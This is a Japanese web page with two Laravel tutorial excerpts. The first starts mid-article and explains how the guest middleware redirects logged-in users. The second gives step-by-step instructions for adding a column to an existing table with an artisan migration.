class RedirectIfAuthenticated
{
    public function handle($request, Closure $next, $guard = null)
    {
        if (Auth::guard($guard)->check()) {
            return redirect(RouteServiceProvider::HOME);
        }

        return $next($request);
    }
}

コメントを省くとこれだけの処理です。

リクエストを受けたときに実行されるメソッドであるhandle()メソッドの中身を見てみましょう。

まずAuth::guard($guard)->check()で既にユーザー情報があるかを判断しています。

既にユーザー情報がある、つまりログイン済みであれば

return redirect(RouteServiceProvider::HOME)

RouteServiceProvider::HOMEにリダイレクトする、という処理を行っています。

この処理から、App\Providers\RouteServiceProviderクラスのHOME定数を変更すればリダイレクト先を変更できるということもここから読み取れますね。

ユーザー情報がまだ無ければこのミドルウェアでは何もせず、$next($response)によって次のミドルウェアへ処理を渡しています。

以上のことから、確かにこのミドルウェアによって認証済みユーザーに対してのアクセスガードが実装されていることが分かりました。

終わりに

認証済みユーザーが/registerにアクセスしたときにリダイレクトする処理は、guestミドルウェア、つまり\App\Http\Middleware\RedirectIfAuthenticatedクラスによって提供されていることが分かりました。

ここでは各処理の詳細については深くは追わず、簡略化した説明となっています。

もし各処理の詳細(たとえば、ミドルウェアの実行される流れだったり、リダイレクト関数の実装)が気になる方がいらっしゃいましたら、ぜひ一度laravelのソースコードを深堀して追ってみるという経験をなさってみてはいかがでしょうか。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel:既存テーブルにカラムを追加する方法

概要

Laravelで既存テーブルにカラムを追加する方法について解説

image.png

手順1:追加用のマイグレーションを作成

ターミナルで下記のようにコマンドを実行する

//コマンド形式
$ php artisan make:migration add_カラム名_to_テーブル名_table --table=テーブル名

//例1 memosテーブルにtitleカラムを追加する場合
$ php artisan make:migration add_title_to_memos_table --table=memos

//例2 アンダーバーがあるuser_idカラムなどを追加する場合
$ php artisan make:migration add_user_id_to_memos_table --table=memos

手順2:作成したマイグレーションファイルを編集

アプリ名/database/migrations配下に先ほど作ったファイルが作成されているので
function up の部分に追加したいカラムを下記のように記述を行う(今回の場合titleカラム)

<?php

    public function up()
    {
            //
    }

↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

    public function up()
    {
        Schema::table('memos', function (Blueprint $table) {
            $table->string('title');
        });
    }

手順3:マイグレーションコマンドを実行

下記のコマンドを実行

$ php artisan migrate

手順4:DBを確認してカラムが追加されているか確認

image.png

カラムが追加されていてば完了となります。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む